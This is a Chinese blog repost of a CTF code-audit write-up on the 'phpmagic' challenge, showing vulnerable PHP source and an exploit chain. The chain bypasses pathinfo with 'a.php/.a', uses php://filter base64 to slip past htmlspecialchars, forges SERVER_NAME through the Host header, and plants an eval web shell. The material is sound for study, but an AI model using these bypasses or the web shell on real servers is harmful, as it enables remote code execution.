欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

一道代码审计题

程序员文章站 2022-05-12 13:39:55
...

一道代码审计题

题目是p神的code-breaking中的phpmagic。

先?read-source=1可以读到源码
php内容为:

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
	$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
	$output = shell_exec($command);
	$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

	$log_name = $_SERVER['SERVER_NAME'] . $log_name;
	if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
		file_put_contents($log_name, $output);
	}
	echo $output;
	endif; 
?>

分析源码,首先创建了一个文件夹
路径为./data/md5($_SERVER['REMOTE_ADDR'])/

$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

这里使用shell_exec执行了命令,但输入的domain被escapeshellarg处理过,没有其他条件,难以利用。

escapeshellarg($string) 把字符串转码为可以在shell命令里使用的参数 (确保用户只传递一个参数给命令)

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
	file_put_contents($log_name, $output);
}
echo $output;

这里有写文件的操作,output被打印出来了的
一道代码审计题
这个命令会把我们传入的值输出出来,但在之前使用了htmlspecialchars这个函数,使得所有的标签都被转化了。

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

我们可以使用php伪协议来写入文件,这样就不用担心标签字符失效了

这里还使用了pathinfo函数来取文件后缀,之后判断时候再黑名单中。
而pathinfo这个函数是可以被绕过的。

pathinfo函数只是取最后一个小数点之后的字符作为文件的后缀,因此很容易被绕过

这里用a.php/.a就能绕过,而且php://filter伪协议还能将其看做a.php
(详细可以看看:http://wonderkun.cc/index.html/?p=626)

我们要用php伪协议来写文件,所以文件名log_name一定是php://filter开头的。
log_name的赋值过程:

$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
$log_name = $_SERVER['SERVER_NAME'] . $log_name;

这里将log_name开头写成了$_SERVER[‘SERVER_NAME’]
查找资料,发现当我们使用ip访问的时候,$_SERVER[‘SERVER_NAME’]是可以伪造的。

到此,我们就可以构造payload了
<?php eval($_GET[1]); ?> base64==> PD9waHAgZXZhbCgkX0dFVFsxXSk7ICA/Pg==
因为我们输入的参数是在$output的中间部分,所以base64后的等号不能要,不然解base64时会出错
最后,
一道代码审计题

最后看上传的位置, ./data/md5($_SERVER['REMOTE_ADDR'])/
$_SERVER[‘REMOTE_ADDR’]是我们自己的ip地址
这里我的路径是 /data/dd546ac20717cd31b1ceaad3eb9911c1/
访问/data/dd546ac20717cd31b1ceaad3eb9911c1/shell.php,之后即可读取flag
一道代码审计题

知识点:

① php://filter可用来base64 bypass写入内容
② pathinfo可以用/.来绕过
③ $_SERVER[‘SERVER_NAME’]可通过Host进行伪造